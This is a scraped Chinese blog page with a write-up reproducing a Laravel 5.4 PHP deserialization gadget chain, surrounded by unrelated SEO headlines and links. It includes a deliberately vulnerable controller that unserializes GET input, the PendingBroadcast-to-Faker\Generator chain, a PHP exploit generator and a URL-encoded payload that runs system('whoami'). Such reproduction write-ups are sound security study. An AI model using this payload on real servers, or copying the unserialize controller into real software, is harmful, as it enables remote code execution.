当前位置: 首页 > news >正文

网站是生成静态好还是动态好网站 跳出率 多少

网站是生成静态好还是动态好,网站 跳出率 多少,湘潭网站优化公司,济南找工作哪个网站好文章目录 0x01 环境搭建0x02 POP 链0x03 exp0x04 总结 前言#xff1a;CC 链复现的头晕#xff0c;还是从简单的 Laravel 开始吧。 laravel 版本#xff1a;5.4 0x01 环境搭建 laravel安装包下载地址 安装后配置验证页面。在 /routes/web.php 文件中添加一条路由#xf… 文章目录 0x01 环境搭建0x02 POP 链0x03 exp0x04 总结 前言CC 链复现的头晕还是从简单的 Laravel 开始吧。 laravel 版本5.4 0x01 环境搭建 laravel安装包下载地址 安装后配置验证页面。在 /routes/web.php 文件中添加一条路由原先的路由注释 Route::get(/,\App\Http\Controllers\POPControllertest);然后在/app/Http/Controllers/下添加 POPController 控制器。函数名要和路由里写的一样 ?php namespace App\Http\Controllers;class POPController extends Controller{public function test(){if(isset($_GET[test])){unserialize($_GET[test]);}else{echo Welcome!;}} }访问页面看到 welcome 即配置正确 0x02 POP 链 一般来说我们寻找序列化漏洞都是从__destruct()或者__wakeup()开始的。 这里找的入口点是 PendingBroadcast.php 里的 PendingBroadcast 类的 __destruct() 方法而且 t h i s − e v e n t s this-events this−eventsthis-event 可控。 public function __destruct(){$this-events-dispatch($this-event);}到这里我们要继续往回找一般有两种思路。 找某个类的 __call 方法且这个类没有 dispatch 方法找某个类存在 dispatch 方法 这里选择第一个思路找到了 Faker\Generator 听说 yii 的链子也有这个有机会复现一下 __call() //在对象上下文中调用不可访问的方法时触发,第一个参数是方法第二个参数是方法里参数组成的数组public function __call($method, $attributes){return $this-format($method, $attributes);}m e t h o d method methodattributes 都可控就是 PendingBroadcast 类的 __destruct() 方法的 t h i s − e v e n t s this-events this−eventsthis-event。 继续跟进 $this-format 方法 public function format($formatter, $arguments array()){return call_user_func_array($this-getFormatter($formatter), $arguments);}漏洞点就在这个 call_user_func_array 上了$formatter, $arguments 可控跟进 $this-getFormatter 方法 public function getFormatter($formatter){if (isset($this-formatters[$formatter])) {return $this-formatters[$formatter];}foreach ($this-providers as $provider) {if (method_exists($provider, $formatter)) {$this-formatters[$formatter] array($provider, $formatter);return $this-formatters[$formatter];}}throw new \InvalidArgumentException(sprintf(Unknown formatter %s, $formatter));}可以发现$this-formatters[$formatter]我们可以控制然后直接 return 构造一下链子 Illuminate\Broadcasting\PendingBroadcastL::__destruct - Faker\Generator::dispatch - Faker\Generator::__call - Faker\Generator::format - call_user_func_array0x03 exp ?php namespace Illuminate\Broadcasting{class PendingBroadcast{public function __construct($events, $event){$this-event $event;$this-events $events;}} }namespace Faker{class Generator{protected $formatters array();public function __construct($fun){$this - formatters [dispatch $fun];}} }namespace {$a new Faker\Generator(system);$b new Illuminate\Broadcasting\PendingBroadcast($a,whoami);echo urlencode(serialize($b)); } payload testO%3A40%3A%22Illuminate%5CBroadcasting%5CPendingBroadcast%22%3A2%3A%7Bs%3A5%3A%22event%22%3Bs%3A6%3A%22whoami%22%3Bs%3A6%3A%22events%22%3BO%3A15%3A%22Faker%5CGenerator%22%3A1%3A%7Bs%3A13%3A%22%00%2A%00formatters%22%3Ba%3A1%3A%7Bs%3A8%3A%22dispatch%22%3Bs%3A6%3A%22system%22%3B%7D%7D%7D0x04 总结 复现的第一条 php 的链子真的比 java 友好太多了 555。另外不止这一条链子这位师傅给了4条 Laravel5.4 反序列化漏洞挖掘 - 先知社区 (aliyun.com)
http://www.pierceye.com/news/501127/

相关文章:

  • 免费搭建贴吧系统网站js做网站框架
  • 泰安如何选择网站建设网盘 商业网站建设案例课程 下载
  • 可信赖的邵阳网站建设动漫设计属于什么大类
  • 西安网站排名优化网站设计用什么软件实现
  • 网站注册页面模板html5教程百度云
  • 深圳装饰公司前十强佛山seo优化电话
  • 广东阳春市建设局网站做手机网站的重要性
  • 设置网站的关键词自己做网站有什么用
  • 做那个网站比较好百度百科优化排名
  • 好发信息网站建设新闻今天最新消息
  • 邮件服务器是不是网站服务器河南住房和城乡建设网站
  • 微网站管理平台网站连锁店查询怎么做
  • 网域高科学校网站管理系统企业融资以什么为基础
  • 百度网站改版工具提高网站安全性
  • 科技网站推荐南宁百度seo
  • 设计婚纱网站wordpress主题制作全过程新手必看
  • 郑州网站seo厂家上海制作网页的公司有哪些
  • 网站修改关键词不收录vps 可以做多个网站吗
  • 营销外包网站App加网站什么做
  • 网页设计网站制作视频教程重庆是哪个省份
  • 国家建设厅官方网站平台类网站有哪些
  • 多语言网站建设公司wap网站技术
  • 网站制作设计多少钱上海智能网站建设公司
  • 知名的教育行业网站开发华夏集团网站建设
  • flash网站用什么做wordpress搭建群空间
  • 如何用社交网站开发客户学网络营销有前途吗
  • 做瞹瞹瞹视频免费网站wordpress不提示系统更新
  • 加气站类型的网站建设重庆工程招投标交易信息网
  • 如何做分类网站信息营销产品展示网站模板
  • 做网站用哪种编程语言网店营销策略